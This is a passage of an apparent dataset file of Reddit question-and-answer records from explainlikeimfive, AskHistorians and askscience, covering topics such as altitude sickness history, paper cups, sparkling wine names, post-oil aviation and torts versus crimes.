'1000' really does have 1000 possible states. 167. 522. 929. If you count 000 as 1000, you get all 1000 possibilities represented in three digits of space.\n\nThe Go board is doing the same trick. Lots of possibilities in a finite amount of space."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/d/da/Tic-tac-toe-game-tree.svg"], [], [], [], [], []]}
{"q_id": "9ud30r", "title": "why does your body sometimes get \"phantom\" symptoms after reading or hearing about the symptoms/ailment.", "selftext": "Particularly as it's related to anxiety.\n\nEdit: maybe better question - my friend says he has a headache and sore throat, 5 minutes later I have a small headache and sore throat that feels both \"phantom\" and \"real\" at the same time. Why", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ud30r/eli5_why_does_your_body_sometimes_get_phantom/", "answers": {"a_id": ["e93m4of", "e94b1x0"], "score": [4, 3], "text": ["There\u2019s a couple of levels to it. One level is that people normally feel some low level of nausea or pain at some times. Like when you are sore or just ate too much. Most people understand that these feelings are related to recent activities and not symptoms, but hypochondriacs will exaggerate and focus on these symptoms. The other level of this is that severe hypochondriacs have so much anxiety and stress related to their fears that they develop symptoms from the stress. Excessive and prolonged stress can wreak havoc on your immune system,", "It's probably related to empathy, like if you see someone in pain you often get a phantom version of that pain. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5o5e8m", "title": "If Henry Tudor had been killed alongside Richard III at the battle of Bosworth, who would be next in the line of succession?", "selftext": "I had always assumed it would be Elizabeth of York but if her brothers had been declared illegitimate that meant she was as well. If not her, who?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5o5e8m/if_henry_tudor_had_been_killed_alongside_richard/", "answers": {"a_id": ["dcgxdtr"], "score": [13], "text": ["If Richard III's supporters had won at Bosworth, but he had still died, then the most likely claimant would have been John de la Pole, earl of Lincoln, as he was Richard's nephew by his sister Elizabeth, and was his probable chosen heir after the death of his only legitimate son in 1484.\n\nIf Henry VII's supporters had won, then they would have probably rejected de la Pole as being too closely linked to Richard III. Instead, they would probably have favoured Edward, earl of Warwick. He was Richard III's and Edward IV's nephew by their brother George, duke of Clarence, but had been largely rejected by Richard, kept under house arrest, and prevented from assuming his titles and lands. Edward IV's two sons, the Princes in the Tower, were presumably dead by the time of the Battle of Bosworth in 1485 and Richard III's only legitimate son had died the year before, leaving Warwick as the sole remaining male heir of Edward IV and his brothers.\n\nThe legality of Warwick and de la Pole's claims are uncertain. Warwick's father, the duke of Clarence, had been attainted and executed as a traitor, something that normally barred the traitors' heirs from inheriting their parent's titles and claims. However, considering the political confusion that would have arisen if both Henry VII and Richard III had died at Bosworth, this uncertainty would probably have been overlooked in the panicked search for a new monarch. Warwick's claims were clearly accepted by some people, as it was his identity that Lambert Simnel adopted when he tried to raise a rebellion to overthrow Henry VII. \n\nDe la Pole's claim was slightly stronger than Warwick's as his parents had not been attainted. The de la Poles repeatedly posed a threat to the Tudor dynasty. John de la Pole participated in Simnel's rebellion against Henry VII, his brothers Edmund and Richard de la Pole conspired against Henry VII and Henry VIII.\n\nSources:\n\nMichael Hicks, The Wars of the Roses (London, 2010).\n\nRosemary Horrox, Richard III: a Study of Service (Cambridge, 1989).\n\nCharles Ross, Edward IV (London, 1974)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "edacok", "title": "I inherited authentic WW2 items from my deceased grandfather. They are not worth anything and I'm uncomfortable selling them. Who can I donate the these items to?", "selftext": "The box that came to me has some german wehrmacht patches, belt buckles, coins, and their version of a purple heart.  All war trophies my grandfather collected from his time with the US 5th Armored Division.\n\nI have absolutely no interest in selling them.  As making money off that seems down right evil.  I'd like to donate them but as they aren't worth very much I'm unsure who would even want them.  Would a museum or local college historian want them?\n\nI don't have the heart to destroy historical items.  Any advice would be appreciated.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/edacok/i_inherited_authentic_ww2_items_from_my_deceased/", "answers": {"a_id": ["fbgj8fk"], "score": [3], "text": ["Look to your local historical society. There\u2019s likely one of these nearby that will assess the collection and decide if they\u2019d like to preserve what\u2019s in it. They\u2019re more likely to do so if your grandfather left any of his own descriptions with the items (letters to a family member about them?), since that helps anchor the objects into the local historical narrative more easily. If your grandfather went to college nearby, the university/college archives for his own alma mater might also be a good place to donate.\n\nI\u2019d also echo what a previous commenter says about preserving your family history for your own purposes. If you don\u2019t want the objects themselves, consider whether you want a high-quality photograph or two of each item, stored both locally and in the cloud in a common format that will be accessible for a long time. The Smithsonian recommends TIFF for long-term digital preservation (_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://siarchives.si.edu/what-we-do/digital-curation/recommended-preservation-formats-electronic-records"]]}
{"q_id": "2nywhq", "title": "why are our organs different colors inside our bodies?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2nywhq/eli5_why_are_our_organs_different_colors_inside/", "answers": {"a_id": ["cmi5zkj"], "score": [46], "text": ["It is not as dramatic as anatomy charts picture it (sort of like how veins are not really blue), but the color is directly related to the constituent cells (and possibly the amount of blood). \n\nFor example, bones are off-white because the exterior shell (cortical bone) is mineralized tissue and it works out that the minerals give it a white color. Meanwhile, the brain is the color it is because the neurons are grayish and the fatty insulation is whitish. Finally, muscle can actually vary in color depending on what type it is. Slow twitch has a lot of capillaries as well as mitochondria and myoglobin, giving it a nice deep red color. Fast twitch has the least mitochondria and myoglobin, making it a paler color. \n\nMany other examples of organs exist, but they certainly aren't as color coded as anatomy textbooks make them appear. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "jskfz", "title": "How big would a human terrarium have to be?", "selftext": "How big of a sphere would it take to contain the plants, inert gasses, and soil/rocks it would take to recycle clean water, nutrition, and oxygen for a single person? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jskfz/how_big_would_a_human_terrarium_have_to_be/", "answers": {"a_id": ["c2es9w6", "c2esv61", "c2et4bs", "c2etlfg", "c2es9w6", "c2esv61", "c2et4bs", "c2etlfg"], "score": [27, 12, 10, 2, 27, 12, 10, 2], "text": ["depends on how long you are going to stay in it.\n\nmonths: not very big at all\n\nyears: something a bit smaller than biosphere 2 size\n\n\n_URL_0_", "I think the more interesting questions is, \"Could we even build such a thing and make it work?\" The Biosphere experiments (scientifically questionable though they were) made clear that the ecological systems required to support large-scale mammalian life require a lot more diversity than we thought. ", "Well the Earth isn't big enough.", "To get to Mars they are saying it will take 500days (Mars500) would it be viable to take enough o2 or would you need something like this?", "depends on how long you are going to stay in it.\n\nmonths: not very big at all\n\nyears: something a bit smaller than biosphere 2 size\n\n\n_URL_0_", "I think the more interesting questions is, \"Could we even build such a thing and make it work?\" The Biosphere experiments (scientifically questionable though they were) made clear that the ecological systems required to support large-scale mammalian life require a lot more diversity than we thought. ", "Well the Earth isn't big enough.", "To get to Mars they are saying it will take 500days (Mars500) would it be viable to take enough o2 or would you need something like this?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Biosphere_2"], [], [], [], ["http://en.wikipedia.org/wiki/Biosphere_2"], [], [], []]}
{"q_id": "26m0gj", "title": "why are most commercial airliners made with wings positioned on the bottom of the fuselage instead of the top? and why are there no airplanes with wings attached to the middle of the fuselage?", "selftext": "The only commercial airliners I've flown on with wings on the top of the fuselage are prop planes between smaller airports. Things like Dash 8s and the like. That makes sense because if the wings were at the bottom, the props would hit the ground. But why don't other large jets have wings attached to the top of the fuselage? Some military transport jets are configured this way, so I know it's possible with jet engines. Why is it not preferred for commercial vehicles? And finally, why are wings either attached to the bottom or top of the fuselage and never to the middle?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26m0gj/eli5_why_are_most_commercial_airliners_made_with/", "answers": {"a_id": ["chs9s7l", "chsdok2", "chsfeuh", "chsvyzs"], "score": [16, 2, 5, 2], "text": ["Passenger planes want the engines low down for easy maintenance - military planes want them high up to avoid the engines sucking in debris. \n\nYou dont tend to get planes with wings going through the middle because the structural supports for the wings would go through the passenger/cargo area", "Top-mounted wings allow the fuselage to be lower to the ground, which makes it easier to load heavy cargo (tanks, jeeps, etc.) without any sort of loading apparatus.  Commercial planes don't generally have to load and unload away from an airport.  ", "In addition to the already named reasons, simplicity of design/manufacture tends towards low wing designs. The wings are supported by what amounts to a single structure passing under the plane, and the weight of the fuselage sits on top of that. Main landing gear can then be mounted directly to the bottom of that structure. Low wing requires the least amount of weight bearing structure complexity. For the most part, the wing is only mounted high on planes where some functional necessity demands it, e.g. bomb bays, cargo loading ramps, engine/propeller clearance, etc.", "Wings are placed low primarily for 2 reasons. One is that it allows for shorter landing gear.  Landing gear is very heavy and any extra weight that can be saved is money in the bank for the airlines and a good selling point for the manufacturer.  Two, mid wing airplanes means a loss of cabin space because the wing spar must run through the center of the plane.  This also is not acceptable to the airlines for obvious reasons.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1f7khn", "title": "Laszlo Montgomery, creator of The China History Podcast. Please come by r/History and Ask him Anything!", "selftext": "[IAMA thread with Laszlo Montgomery](_URL_2_), creator of the [China History Podcast](_URL_1_).\n\n/r/History is hosting several IAMA threads this week:\n\n\n*  **Today**, May 28th, **Laszlo Montgomery** of the **[China History Podcast](_URL_1_)**  at about 1 PM EST (10 AM PST). \n*  Wednesday, May 29th, **Dan Carlin** of the **[Hardcore History](_URL_5_)** and **[Common Sense](_URL_6_)** podcasts at about 6:30 PM EST (3:30 PM PST).  \n* Friday, May 31st, **Mike Duncan** of **[The History of Rome](_URL_0_)** podcast at about 6:30 PM EST (5:30 PM CST).   \n* Saturday, June 1st, **Lars Brownworth** of the **[12 Byzantine Rulers](_URL_3_)** and **[Norman Centuries](_URL_4_)** podcasts, at about Noon EST. \n\nPlease come on by /r/history today for [Mr. Laszlo Montgomery's thread](_URL_2_) about Chinese History and his podcast.  ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1f7khn/laszlo_montgomery_creator_of_the_china_history/", "answers": {"a_id": ["ca7kctt"], "score": [8], "text": ["In case you are wondering.  This is already approved to be posted by the mods.  We post our AMA's there all there time."]}, "title_urls": [], "selftext_urls": ["http://thehistoryofrome.typepad.com/", "http://chinahistorypodcast.com/", "http://www.reddit.com/r/history/comments/1f7ixe/im_laszlo_montgomery_creator_of_the_china_history/", "http://12byzantinerulers.com/", "http://normancenturies.com/", "http://www.dancarlin.com/disp.php/hharchive", "http://www.dancarlin.com/disp.php/csarchive"], "answers_urls": [[]]}
{"q_id": "4foswg", "title": "Before the barometer, how did humans explain cold temperatures and difficulty breathing at high elevations?", "selftext": "What were the explanations for the different \"experience,\" climatologically and physiologically, when one climbs a mountain? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4foswg/before_the_barometer_how_did_humans_explain_cold/", "answers": {"a_id": ["d2b9fu9"], "score": [47], "text": ["I'm not a historian, but I am an atmospheric scientist and avid mountaineer, so I actually feel like I can answer this one!\n\nFirst of all, you might be surprised to hear that the invention of the barometer has very little bearing to your question. The barometer was invented [in the 1640s](_URL_0_) and taken up mountains soon after, but *long* before then there are references to the thinness of air at altitude. In the 5th century writings of [Saint Augustine](_URL_2_), he refers to the idea that Mount Olympus was so high, that \"no wind is felt and no clouds gather, because it exceeds in its height all that vaporous air in which birds fly\". Francis Bacon wrote very similar passages in his 1620 work [Novum Organum](_URL_5_), and furthermore, he attributes this knowledge to \"the ancients\" who climbed to the summit of Mount Olympus, suggesting that the knowledge goes as far back as ancient Greece (some other texts attribute this to the writings of Aristotle himself).\n\nSo did people make the association between thinner air and sickness, or did they attribute it to something else? In the same work as above, Augustine writes that visitors to the summit of Olympus would carry sponges soaked in water, and hold them over their noses for relief, suggesting that they thought the dryness of the air was at fault. However, he also seems to indicate that the dryness of the air was due to its thinness (which in some respects is actually correct!). Additionally, a Spanish Jesuit missionary to Peru named Joseph de Acosta wrote in 1590 about his trip to the high Andes, and describes varying degrees of altitude sickness experienced both by him and others. He attributed the illness to the \"subtle and delicate\" nature of the air in the high mountains. So it would appear that people did indeed attribute altitude sickness to the fact that the air was thinner at altitude, even without a thorough understanding of air pressure and hydrostatic balance that was discovered much later!\n\nNote: this was by no means universal knowledge; there are many references in Chinese literature [as far back as the 1st century B.C.](_URL_4_) to altitude sickness, even detailed descriptions of deaths by High Altitude Pulmonary Edema (HAPE), but no apparent speculation on the cause. Also, as a scientific note, I'm curious that Augustine mentions a lack of wind and precipitation at altitude; this is counter to what actually occurs, since mountaintop regions are among the windiest and wettest places on Earth (indeed, even Mount Olympus specifically receives 3 to 4 times as much precipitation as the surrounding areas, and often sees high winds). So maybe the observations of Augustine should be taken with a few grains of salt. But since Joseph de Acosta specifically mentions fierce winds, and offers detailed personal accounts to the summits of peaks in the high Andes, I am certainly willing to believe his observations.\n\n**tl;dr: Humans have apparently attributed altitude sickness to the \"thinness\" of the air since antiquity!**\n\nMain source: [High Life: A History of High-Altitude Physiology and Medicine](_URL_1_) by John B West; a good number of pages are available on Google Books ~~but subreddit rules apparently discourage linking it~~ [and here is the link](_URL_3_)!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Barometer#History", "http://www.worldcat.org/title/high-life-a-history-of-high-altitude-physiology-and-medicine/oclc/301588039", "https://en.wikipedia.org/wiki/Augustine_of_Hippo", "https://books.google.com/books?id=o0rhBwAAQBAJ&amp;printsec=frontcover", "https://www.researchgate.net/publication/223379567_The_first_documented_report_of_mountain_sickness_The_China_or_Headache_Mountain_story", "https://en.wikipedia.org/wiki/Novum_Organum"]]}
{"q_id": "3vlbtt", "title": "why is it that paper cups get mushy and starts to fall apart within an hour when holding cold fluids, but are perfectly okay with holding hot fluids like coffee indefinetly?", "selftext": "The Starbucks I go to ran out of cold cups for my ice coffee. They put in a hot cup instead. In a matter of a car ride,  it almost fell apart as I picked it up.  This never happens with my hot coffee?\n\nEdit: i get it, I get it. It sounds like my coffee is hot indefinetly.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3vlbtt/eli5_why_is_it_that_paper_cups_get_mushy_and/", "answers": {"a_id": ["cxoh8bt", "cxorosd", "cxosnz8", "cxosvxn", "cxotkow", "cxoun8t", "cxp2pvm"], "score": [5815, 42, 7, 47, 26, 58, 3], "text": ["Paper cups are coated with a waterproof layer on the inside, but not on the outside. When they contain hot drinks, the liquid is touching this impermeable barrier, so doesn't get the paper wet. However, a cold drink cools its container, making water vapour from the atmosphere condense on the outside - that's why your ice water glass \"sweats\" on a hot day: the water forming on the outside is not seeping through the glass, but rather condensing out of the air, just like when you breathe on a mirror and it fogs up. \n\nHowever, the paper cup only has a waterproof barrier on the inside. This condensation on the outside of the cup can soak into the paper and make it go soggy.", "how are you certain they could hold hot coffee indefinetly? coffee doesnt stay hot that long", "Waxed on the inside, not the outside, i.e. waterproof to the inside but not to the outside.\n\nWhen holding cold liquid, condensation forms on the outside, the outside gets wet, the wet penetrates, it goes all wibbly-wobbly.\nWhen holding hot liquid, no condensation forms outside, so no wobbly-wibbly.", "The cold water changes the dew point of the air out side the cup causing the water vapor in the air to condense on the outside of the cup, and there is none of protective lining on the outside of the cup that there is on the inside of the cup.", "I posted this to another comment 1st but if anyone wants a little more information than the top comment provides:\n\nIt has to do with relative humidity. The relative humidity changes with temperature, and as the temperature grows colder and the humidity approaches 100%, it condenses. This is known as the dew point. So for instance the outside temperature might be 70 degrees with a 50% humidity, but the cold cup causes a small layer of air around it to reach much colder temperature (maybe 35 degrees) and will now have a humidity of 100%.\n\nThe reason for relative humidity is much like putting sugar in coffee - after a certain point the coffee contains as much sugar as it can possibly hold and now has a relative sugar capacity of 100% Any extra sugar stays at the bottom.\n\nThe reasoning behind why the relative humidity lowers with temperature is because cold air atoms are less excited than warm ones and are thus more dense. So with a higher density there is less space in between for water vapor to exist. It is forced out and condenses.", "Cups used for cold and hot beverages have different coatings. \n\nThe better made cold cups are coated with wax inside and out. The exterior coating prevents the condensation  that forms on the outside from soaking into the cup causing to fall apart.\n\nHot drinks don't cause any condensation so the hot cups are only coated on the inside. They are poly coated instead of wax.\n\nIf you use a hot cup with for a cold drink, it will fall apart. Conversely, if you use a cold cup for a hot drink, it will melt the wax and contaminate your drink.", "I have a theory that a stores/resturants that free refills have paper cups that cant stand up to repeated use. That way someone cant come back later and get more. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "dfrf97", "title": "wearing new shoes and new earbuds can be painful since we\u2019re not used to it. how do we get use to it and how come the pain just \u201cgoes away\u201d as time passes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dfrf97/eli5_wearing_new_shoes_and_new_earbuds_can_be/", "answers": {"a_id": ["f35d1v2", "f35kkt5", "f35xiy8"], "score": [20, 7, 3], "text": ["Well with shoes you stretch them out and they start fitting to your feet since they\u2019re always in the same spot in your shoes. And as for earbuds I think your body just gets used to having them in there. I think since it\u2019s foreign at first you just notice it more", "Umm shouldn't you not buy shoes that hurt in the first place? My mother taught me to look for shoes that fit well, didn't pinch, poke, or rub. And when walked in were comfortable, and didn't hurt. She didn't get a choice in footwear growing up, causing her bunions and major issues her whole life. So she showed us the proper shoe buying strategy.", "Earbuds shouldn\u2019t hurt. Different people have different types of ears. I\u2019ve had many friends who legit can\u2019t fit apple earbuds into their ears but do it anyway. You should try to buy earbuds that fit and can be painless for hours"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8abd89", "title": "If my beard has black and ginger hairs, does that mean certain hair follicles produce specific colored hairs, or is it random and hair follicles can produce either?", "selftext": "Just found out I have ginger beard hairs, very curious. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8abd89/if_my_beard_has_black_and_ginger_hairs_does_that/", "answers": {"a_id": ["dwxesjx"], "score": [14], "text": ["I believe that has to do with the distribution of genetic characteristics from your parents. Though, we're not really sure exactly how. So there are two factors in play here (assuming I am in the ballpark with this):\n\n**1:** Hair color occurs because of pigment called melanin. There are two kinds: eumelanin and phomelanin. Eumelanin determines if your hair is dark or not. So too much eumelanin and your hair will be black and too little it will be blonde-ish. The amount of eumelanin in your hair is determined by multiple genes. The gene state is binary so either on or off. When the genes are on, they make eumelanin and when they are off, they don't make anything. Now, eumelanin genes work in an additive way instead of in a dominant and recessive way. Meaning that the more eumelanin genes that are onthen the darker your hair will be.\n\n**2:** When you were conceived, the genetic material of the sperm and egg then combine to form a single cell called a zygote. The sperm and egg cell both hold 23 chromosomes and when they combined you have duplicates of almost all of your chromosomes (if you're a male) or you WILL have duplicates of all of your chromosomes (if you're female). Somehow, the body determines which genes on a particular chromosome in a duplicate pair will be active in a cell. As your cells divide and you go from a Zygote through Embryogenesis and on to a fetus, these different cells migrate and an unseen pattern develops throughout your body. For example, [Blaschkos lines](_URL_0_). Many do not know that we humans have swirls and stripes in our skin. You can only see them under UV light. These swirls and stripes are from different type of cells that have migrated all throughout our bodies since we were in the womb. \n\nNow, take both of the points from above and subject them to this: Since hair color is determined by multiple genes across different chromosomes, and each chromosomes will have either 0 or 1 / on or off states for said genes, AND cells migrate out through the body over the duration of your life, then this could be a result of some of the hair folic cells in your body have the genes turned on for red hair while others have it turned on for dark hair. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://images.mentalfloss.com/sites/default/files/styles/mf_image_16x9/public/blaschkos_lines.jpg?itok=g4AmAMr5&amp;resize=1100x619"]]}
{"q_id": "8opjec", "title": "what causes inaccuracies in our current model conventional physics at certain points, such as at extremely hot temperatures?", "selftext": "Saw this on a picture showing things at different temperatures. It mentioned at a very hot temperature, our model of physics becomes inaccurate and \"breaks down\". \n\nI'm not studying physics so I'm not quite sure where to start, but how can our model do this? Why isn't it accurate from the get go?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8opjec/eli5_what_causes_inaccuracies_in_our_current/", "answers": {"a_id": ["e054kog", "e054nkg", "e05dmu0"], "score": [6, 2, 3], "text": ["Physics student here!\n\nIn a lot of our models we use approximations to turn an equation we have no way of solving into one that can be trivially solved. Thing is, these approximations tend to have an area of parameters the situation needs to fit for the approximation to be accurate.\n\nFor example, the equation of motion for a basic pendulum includes a sin(x) term. This is a pain in a differential equation, so we use the Taylor series for the function sin(x) and notice, that if x is small, we can make an approximation sin(x)\u2248x, effectively removing the sin(x) from our equation. Now, note that we specifically stated that the approximation is only good with a small x. Thus, our model will naturally be faulty if we try to use it to describe a situation where x is not small.", "Not a physicist, but i think it is similar to how newtonian physics breaks down at high speeds or strong gravity fields. Newtonian calculations work well for most situations down here on earth, and they are easier to use than quantum or relitivistic models, but when you start going really fast, the relativistic effects mean that the numbers are no longer accurate.\n\nEach model has its specific range of situations where it works, we havent got a model that works for those situations", "One very famous example is General Relativity (GR).  GR is incredibly accurate at almost all sizes, but breaks down for certain objects. Most famously, GR isn\u2019t able to describe the center of black holes. It\u2019s super accurate everywhere near a black hole, but the math breaks down at the center. What this ends up looking like is something like dividing by zero (I don\u2019t know that the actually problem is dividing by zero, but this is a good analogy). \n\nAs a small example, 1/x = y is a perfectly legitimate equation for every possible x except for x = 0. This sort of thing creeps up in Physics models at times. \n\nIt\u2019s a bit harder to explain without going a bit deep into differential equations, but there are some models, particularly in fluid dynamics, that have areas where the equations are impossible to solve with the tools of algebra. In these situations, we have to use numerical models, which are more elegant versions of basically plugging in numbers and seeing what happens, which can be very accurate if done cleverly enough. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "29qwpn", "title": "What will happen to flight after we run out of oil?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/29qwpn/what_will_happen_to_flight_after_we_run_out_of_oil/", "answers": {"a_id": ["cinlkk0", "cinor3y", "cinqxeq", "cins7y5", "cintv5v", "cinvv5i", "cio0811"], "score": [810, 13, 5, 4, 4, 3, 4], "text": ["Well, that's a future that's very far off, and a realistic answer requires predictions of future technology and (more importantly) economics. But some things to note:\n\n* We will always be able to manufacture hydrocarbons from plant material, it's just a question of economics. We can already produce a very large quantity of biofuels. If and when that becomes economically viable, it requires basically no change to existing aircraft technology. [There are already commercial flights testing aviation biofuels.](_URL_1_)\n\n* Electric flight is already a reality at small scales. [Small solar-charged UAVs have been built](_URL_0_) that effectively have unlimited loiter time (they charge their batteries during the day, using them up over night). Scaling up to passenger-sized aircraft will require continuing improvement in battery technology to be feasible for large, long-distance, transonic flight in order to compete with biofuels.\n\n* Along with electric flight using battery-type storage, fission and fusion powered aircraft are conceptually possible.\n\nEdit: I feel I should add that fission-powered aircraft are extremely unrealistic, as are fusion (barring some amazing new technology). It's far more likely you just use these as power sources for batteries. And I believe the poster below me is very mistaken about fuel burnoff being of paramount importance.", "One option that might be viable would be [electric or bio-fuel combined with hydrogen/helium for lighter-than-air or \"neutral-bouyancy\" flight.](_URL_1_)  As solar-cells, batteries and strong composite structural materials become lighter, it becomes more feasible [to incorporate electric in flight.](_URL_0_)  Combine this with modern knowledge of jet streams and meteorology and it becomes even more feasible.", "The next step will be to convert other fossil fuels like coal or natural gas into aviation fuel. Biological sources could also work, but coal and natural gas have a lower financial cost to produce than biofuels, and both will remain plentiful long after the oil is gone. \n\nDuring WWII, the Germans used the Fischer-Tropsch process to produce 9% of their total fuel and 25% of their automotive fuel. The process is not currently commercially viable due to the relatively low cost of petroleum fuels, but it is technologically feasible. \n\nThe US Air Force has already certified its aircraft to operate on a blend of petroleum and synthetic fuel derived from natural gas or coal via the Fischer-Tropsch process. ", "An important point to remember is that we will never run out of oil. As resources decrease, the cost of extraction will increase. As the price increases, demand for oil will decrease and the demand for alternatives will increase.", "I would phrase your question a bit differently: \"What will happen to flight when we cannot afford to keep burning fossil fuels due to the climate impacts?\"\n\nThe modern scientific consensus is that we need to leave oil in the ground. \n\n_URL_0_\n\n >  \u201cWell, science is science,\u201d the president replied. \u201cAnd there is no doubt that if we burned all the fossil fuel that\u2019s in the ground right now, that the planet\u2019s going to get too hot and the consequences could be dire.\u201d", "We won't \"run out of oil\" in the way you might think. Oil will become too energy-expensive to extract... for use in extracting more oil. There will still be oodles of petroleum in abandoned wells, and oil shale that's too dirty to bother refining, and oil sand that's too thin, etc., etc., etc. Oil will become a negative-*emergy* fuel, like hydrogen. We'll still have plenty of it, and the tools to access it, but the only people still buying it will be those that genuinely require a high-energy-density combustible fuel source. \n\nRight now, jet fuel accounts for maybe 8% of petroleum use. There will be plenty to go around for a long time - though the price of flying might rise. In the time between gasoline cars becoming untenable and avgas becoming genuinely scarce, I think we can safely assume R & D will bridge the gap to electric or biofuel airplanes. ", "I'm an engineer for an oil and gas company and we have countless reservoirs we could target if the price was right. We spend tons of money holding on to property that we don't really need right now in hopes for prices to increase in the future. Imagine if the price of oil got to $250/bbl. Only catch is that once oil prices get that high, other energy sources become a better option. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/NASA_Helios", "http://en.wikipedia.org/wiki/Aviation_biofuel"], ["http://en.wikipedia.org/wiki/Electric_aircraft", "http://www.defenseindustrydaily.com/rise-of-the-blimps-the-us-armys-lemv-06438/"], [], [], ["http://www.bloomberg.com/news/2014-06-26/giving-up-fossil-fuels-to-save-the-climate-the-28-trillion-writedown.html"], [], []]}
{"q_id": "a3t9pu", "title": "- what is the difference between champagne, prosecco and sparkling wine?", "selftext": "I\u2019ve been working behind a bar for a month now and we serve all three, but I seriously have no idea how they\u2019re any different from each other. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a3t9pu/eli5_what_is_the_difference_between_champagne/", "answers": {"a_id": ["eb8xugn", "eb8y4zf", "eb8yo2s", "eb9al48", "eb9v2mn", "eba3qu0"], "score": [7, 3, 4, 2, 3, 2], "text": ["Both of those are *types* of sparkling wine. The first is from the Champagne region in France. The second is from parts of Italy.\n\nSome people informally use \"champagne\" to refer to any kind of sparkling white wine, but this is frowned upon by wine lovers, as it's misleading.", "If you're in the eu, the name tells you where it comes from. Sparkling wine could be from anywhere but champagne comes from the champagne region in northeast France and prosecco comes from the prosecco valley in italy.\n\nOutside the eu it's all the same with a different label.", "Regions.\n\nIn Europe specific regions have protected names for products. Like Champagne, or Emmental, Parmegiano, Gueuze.... (Edit: the name of the product is not always the name of the region)\n\nOnly French vineyards in the Champagne region can make Champagne, outside that it's sparkling wine,  called \"methode champagnoise\" a lot if it has no specific other name.\n\nIn Spain you have Cava (entirety of Spain)\n\nItaly has Spumante (sparkling wine) and Prosecco (region specific)\n\nGermany has Sekt", "Sparkling wine is wine with fizz. Champagne is sparkling wine from a specific region in France. Prosecco is sparkling wine from Italy. There is also Cava, which is from Spain.", "The US doesn\u2019t obey the European laws about wine names, so in the US you can have Champagne from California, it doesn\u2019t have to be from the Champagne area of France, FYI. ", "Location location location.\n\nChampagne is sparkling wine from the Champagne region in France.  Champagne is a protected name, sparkling wine from anywhere else cannot be named champagne.\n\nProsecco is Italian sparkling wine.  Cava is Spanish sparkling wine.\n\nSparkling wine is wine with bubbles, caused by adding CO2 producing yeast.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1kqblb", "title": "If I fall sick due to a bacterial infection, and I chose to recover 'naturally' (lots of rest, water, etc) without taking any antibiotics, will my immune system be stronger for it compared to if I took antibiotics?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1kqblb/if_i_fall_sick_due_to_a_bacterial_infection_and_i/", "answers": {"a_id": ["cbrmdan", "cbrznbl"], "score": [17, 3], "text": ["No. You still have the immunological memory of being exposed to the bacteria. This ignores side issues, like the fact that antibiotics can destroy the good intestinal flora, or the bacteria might return resistant to the antibiotics etc. But just in terms of your immune system's ability to respond to that bacteria, it will still be able to generate a stronger immune response the next time, even if the bacteria are killed pharmacologically.  ", "No. Even when you use antibiotics, the vast majority of the pathogen that is killed is still killed by your immune system. So your body still gets the advantage of exposure to that pathogen. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "368aes", "title": "tort and crime", "selftext": "what is the difference between tort and crime and how do they compare to each other?\nI googled but all I got was a wall of text, I read that a tort is a personal wrong and a crime is a public wrong but can someone explain in a little bit more detail? (explain like I am six), what are the nuances?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/368aes/eli5_tort_and_crime/", "answers": {"a_id": ["crbmugg", "crbnxpn"], "score": [12, 5], "text": ["/u/pulse2, today you messed up bad. You got really drunk, you got into your car, and you drove right into me while I was out walking my dog. Crap.\n\nThe government is not happy with you. The government thinks that driving while drunk is behavior which should be discouraged in society, and to that end they have passed laws which make drunk driving a **crime**. That means that a lawyer who represents the government is going to take you to court. She is going to try to prove to the judge that you were driving drunk, and she's going to try to convince the judge that you should face consequences. She might want to rehabilitate you so you realize what a mistake you made, or she might want to punish you so that you and people like you know what'll happen if you drive drunk. She might even ask the judge to put you in jail. The name of this case will be **The State v. pulse2**.\n\nI'm not happy with you either. You sent me to the hospital, and I have about $50,000 in medical bills now. I also missed a month of work, and I'm going to have future medical costs and my leg will never be quite the same. And it's your fault, because of how negligent you were. That's a **tort** -- a personal wrong, that you committed against me. I think you should pay me $200,000 to make up for everything this cost me. And if you refuse to do that, I'm going to take you to court and try to convince a judge that (a) I got hurt due to your negligence, and 